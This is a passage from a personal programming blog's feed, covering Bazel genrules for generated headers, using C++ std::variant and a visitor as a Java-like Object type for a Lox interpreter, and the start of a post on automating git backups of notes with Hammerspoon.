&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cc_library(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;header&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hdrs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;header.h&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But this file does not exist in our tree and so bazel wouldn&amp;rsquo;t know how to make sense of it. So, we replace the &lt;code&gt;hdrs&lt;/code&gt; field of the library with another target (&lt;a href="https://docs.bazel.build/versions/master/be/general.html#genrule"&gt;genrule&lt;/a&gt;) instead, which generates a rule on the fly.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Bazel documentation: A genrule generates one or more files using a user-defined Bash command. Genrules are generic build rules that you can use if there&amp;rsquo;s no specific rule for the task.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;genrule(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;generate_header&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; outs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;header.h&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;./$(location :header_generator) &amp;gt; $@&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tools &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;:header_generator&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cc_library(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;header&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hdrs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;:generate_header&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This target runs the command specified in the &lt;code&gt;cmd&lt;/code&gt; property as a bash command. The command uses the tool label mentioned in the tools property to figure out any tools&amp;rsquo; targets that need to be built before running this. &lt;code&gt;location&lt;/code&gt; attribute is used to refer to the final compiled binary of the associated tool and then it redirects the output to the filename mentioned in &lt;code&gt;outs&lt;/code&gt; property.&lt;/p&gt;
&lt;p&gt;Finally, we just plumb this with our primary target normally, making it dependent on the target that contains the generated header file.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cc_binary(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;main&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; srcs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;main.cc&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; deps &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;:header&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With these set of rules, whenever I run &lt;code&gt;bazel run //src:main&lt;/code&gt;, bazel will first compile the &lt;code&gt;header_generator&lt;/code&gt; binary, then run this binary to generate &lt;code&gt;header.h&lt;/code&gt; file and finally compile &lt;code&gt;main.cc&lt;/code&gt; along with these depdenencies and then run the final binary.&lt;/p&gt;</content></item><item><title>Java "Object" in C++ using std::variant</title><link>https://shantanugoel.com/2020/04/27/java-object-cpp-std-variant/</link><pubDate>Mon, 27 Apr 2020 19:39:50 +0530</pubDate><guid>https://shantanugoel.com/2020/04/27/java-object-cpp-std-variant/</guid><description>&lt;p&gt;I&amp;rsquo;m going through this brilliant book, &lt;a href="https://craftinginterpreters.com/"&gt;Crafting Interpreters&lt;/a&gt;, these days to learn more about how interpreters are built. My attempts so far have been ameturish, as I&amp;rsquo;ve never had a formal CS course, and this looked useful to upskill my toolkit. However, the book implements the interpreter in Java (at least the first part, which I am going through now) and I&amp;rsquo;m trying to follow along in C++ instead since I don&amp;rsquo;t have much experience in Java, neither an inclination to learn it. In one of the chapters, the author uses a Java &amp;ldquo;Object&amp;rdquo; class to hold the literal values that may appear in the script being parsed by the interpreter. Java docs say that:&lt;/p&gt;</description><content>&lt;p&gt;I&amp;rsquo;m going through this brilliant book, &lt;a href="https://craftinginterpreters.com/"&gt;Crafting Interpreters&lt;/a&gt;, these days to learn more about how interpreters are built. My attempts so far have been ameturish, as I&amp;rsquo;ve never had a formal CS course, and this looked useful to upskill my toolkit. However, the book implements the interpreter in Java (at least the first part, which I am going through now) and I&amp;rsquo;m trying to follow along in C++ instead since I don&amp;rsquo;t have much experience in Java, neither an inclination to learn it. In one of the chapters, the author uses a Java &amp;ldquo;Object&amp;rdquo; class to hold the literal values that may appear in the script being parsed by the interpreter. Java docs say that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Class &lt;code&gt;Object&lt;/code&gt; is the root of the class hierarchy. Every class has Object as a superclass. All objects, including arrays, implement the methods of this class.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, this threw a bit of a spanner in the works for me since C++ does not really have any equivalent class which all classes derive from. Going through the options available, I stumbled upon &lt;code&gt;std::conditional&lt;/code&gt; and &lt;code&gt;std::variant&lt;/code&gt; that could be of help. From cppreference:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;std::conditional&lt;/p&gt;
&lt;p&gt;Defined in header &amp;lt;type_traits&amp;gt;&lt;/p&gt;
&lt;p&gt;template&amp;lt; bool B, class T, class F &amp;gt;
struct conditional; (since C++11)&lt;/p&gt;
&lt;p&gt;Provides member typedef type, which is defined as T if B is true at compile time, or as F if B is false.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;std::variant&lt;/p&gt;
&lt;p&gt;Defined in header &amp;lt;variant&amp;gt;&lt;/p&gt;
&lt;p&gt;template &amp;lt;class&amp;hellip; Types&amp;gt;
class variant; (since C++17)&lt;/p&gt;
&lt;p&gt;The class template std::variant represents a type-safe union. An instance of std::variant at any given time either holds a value of one of its alternative types, or in the case of error&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;std::conditional&lt;/code&gt; seems to be much more straight forward to use if you have only two types to choose from. But I needed more than 2 right now, and they could increase in future as well if I started supporting more types. Thus, I went with &lt;code&gt;std::variant&lt;/code&gt;. You can think of this as a safer version of a union. So, we&amp;rsquo;ll see how to achieve my goal of emulating a Java Object-like class using std::variant and the visitor pattern. Another thing I needed to do was to convert the value into a string, irrespective of which type it was, so we will see how I did that as well.&lt;/p&gt;
&lt;p&gt;The code is pretty straight forward. First we declare a new type alias called &lt;code&gt;Object&lt;/code&gt;. This refers to an std::variant which can take std::nullptr_t, std::string, a double or a bool types.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;using&lt;/span&gt; Object &lt;span style="color:#f92672"&gt;=&lt;/span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;variant&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;nullptr_t, std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string, &lt;span style="color:#66d9ef"&gt;double&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;bool&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next we create a helper function that encapsulates our cute little trick to convert any incoming object into a string in C++ with minimal code.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;template&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;typename&lt;/span&gt; T&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string VisitorHelper(T x) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;stringstream temp;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; temp &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; x;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; temp.str();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, we could create tons of boilerplate code using things like &lt;code&gt;std::get&lt;/code&gt;/&lt;code&gt;std::get_if&lt;/code&gt;/&lt;code&gt;std::in_place_index&lt;/code&gt; etc to start using our Object. But we want to be smart and avoid all this. So, we use a visitor pattern. You can read this awesomely simple &lt;a href="https://www.bfilipek.com/2018/06/variant.html"&gt;article&lt;/a&gt; by Bartlomiej Filipek to understand your options better.&lt;/p&gt;
&lt;p&gt;We create a &lt;code&gt;Visitor&lt;/code&gt; struct which contains the overloads for the operator(), which will call the appropriate implementation based on the type of the value of our instance. You can create other operator overloads as well here if you need. Note that in all the cases we are calling our templatized VisitorHelper which helps in converting the value to a string and return that.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Visitor&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string &lt;span style="color:#66d9ef"&gt;operator&lt;/span&gt;()(std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;nullptr_t x) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)x; &lt;span style="color:#75715e"&gt;// Avoid unused parameter error
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;null&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string &lt;span style="color:#66d9ef"&gt;operator&lt;/span&gt;()(&lt;span style="color:#66d9ef"&gt;double&lt;/span&gt; x) &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;VisitorHelper&lt;/span&gt;(x); }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string &lt;span style="color:#66d9ef"&gt;operator&lt;/span&gt;()(&lt;span style="color:#66d9ef"&gt;bool&lt;/span&gt; x) &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;VisitorHelper&lt;/span&gt;(x); }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string &lt;span style="color:#66d9ef"&gt;operator&lt;/span&gt;()(std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string x) &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;VisitorHelper&lt;/span&gt;(x); }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can then &amp;ldquo;visit&amp;rdquo; the appropriate overload depending on the value with which it is called like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;visit(Visitor{}, literal_);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Combining everything together, we get to something like below (Ignore the extra code that I have for the rest of my class), and we have our very own super class &lt;code&gt;Object&lt;/code&gt; in C++.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;namespace&lt;/span&gt; lox {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// TODO: Update the possible variants here as we go.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;using&lt;/span&gt; Object &lt;span style="color:#f92672"&gt;=&lt;/span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;variant&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;nullptr_t, std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string, &lt;span style="color:#66d9ef"&gt;double&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;bool&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Token&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Token() &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;delete&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Token(&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; TokenType type, &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; lexeme, &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; Object&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; literal,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; line)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; type_(type), lexeme_(lexeme), literal_(literal), line_(line) {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string ToString() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Line &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;to_string(line_) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; TokenTypeName[&lt;span style="color:#66d9ef"&gt;static_cast&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;size_t&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;(type_)] &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; lexeme_ &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;visit(Visitor{}, literal_);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; TokenType type_;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string lexeme_;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; Object literal_;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; line_;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;template&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;typename&lt;/span&gt; T&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string VisitorHelper(T x) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;stringstream temp;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; temp &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; x;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; temp.str();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Visitor&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string &lt;span style="color:#66d9ef"&gt;operator&lt;/span&gt;()(std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;nullptr_t x) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)x; &lt;span style="color:#75715e"&gt;// Avoid unused parameter error
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;null&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string &lt;span style="color:#66d9ef"&gt;operator&lt;/span&gt;()(&lt;span style="color:#66d9ef"&gt;double&lt;/span&gt; x) &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;VisitorHelper&lt;/span&gt;(x); }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string &lt;span style="color:#66d9ef"&gt;operator&lt;/span&gt;()(&lt;span style="color:#66d9ef"&gt;bool&lt;/span&gt; x) &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;VisitorHelper&lt;/span&gt;(x); }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string &lt;span style="color:#66d9ef"&gt;operator&lt;/span&gt;()(std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;string x) &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;VisitorHelper&lt;/span&gt;(x); }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;} &lt;span style="color:#75715e"&gt;// namespace lox
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;&lt;em&gt;Side note 1&lt;/em&gt;:&lt;/em&gt; Technically, it is not needed to create a struct for this and you can do it more concisely by creating a lambda within &lt;code&gt;std::visit&lt;/code&gt; instead that calls &lt;code&gt;VisitorHelper&lt;/code&gt; directly. I went the struct way because ultimately I want to be able to do diffferent actions depending on the type, so I need different implementations for them.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;em&gt;Side note 2&lt;/em&gt;:&lt;/em&gt; A friend pointed out that I could use &lt;code&gt;std::any&lt;/code&gt; here as well. But I didn&amp;rsquo;t choose to use it because of the similar issues I mentioned earlier that it requires boilerplate for figuring out the type (e.g. in a switch case) and then getting the value after typecasting it appropriately.&lt;/p&gt;</content></item><item><title>Automatic notes backup on macOS with hammerspoon</title><link>https://shantanugoel.com/2020/03/20/hammerspoon-backup-joplin-notes-dotfiles-git-macos/</link><pubDate>Fri, 20 Mar 2020 18:25:01 +0530</pubDate><guid>https://shantanugoel.com/2020/03/20/hammerspoon-backup-joplin-notes-dotfiles-git-macos/</guid><description>&lt;p&gt;I&amp;rsquo;m a backup nerd and like to back-up everything I do. Not just that, I like to version them too so I can go back in time to any point. &lt;code&gt;git&lt;/code&gt; serves as a good tool for me for versioning wherever small data/text files etc are concerned and then I back this up with remote git servers like my own git server on a raspberry pi at home, a gitlab server and a github server. Prime targets for this are my dotfiles that I edit in spacemacs and my notes that I take in &lt;a href="https://joplinapp.org/"&gt;Joplin&lt;/a&gt;. The only issue though is that every time I change something, which is pretty often (since I&amp;rsquo;m a tinkering nerd too) I&amp;rsquo;ve to manually commit the changes and push them upstream. Apart from being all kinds of nerds, I&amp;rsquo;m an automation nerd too, which is a fancy way of saying that I am lazy, but I digress.&lt;/p&gt;</description><content>&lt;p&gt;I&amp;rsquo;m a backup nerd and like to back-up everything I do. Not just that, I like to version them too so I can go back in time to any point. &lt;code&gt;git&lt;/code&gt; serves as a good tool for me for versioning wherever small data/text files etc are concerned and then I back this up with remote git servers like my own git server on a raspberry pi at home, a gitlab server and a github server. Prime targets for this are my dotfiles that I edit in spacemacs and my notes that I take in &lt;a href="https://joplinapp.org/"&gt;Joplin&lt;/a&gt;. The only issue though is that every time I change something, which is pretty often (since I&amp;rsquo;m a tinkering nerd too) I&amp;rsquo;ve to manually commit the changes and push them upstream. Apart from being all kinds of nerds, I&amp;rsquo;m an automation nerd too, which is a fancy way of saying that I am lazy, but I digress.&lt;/p&gt;
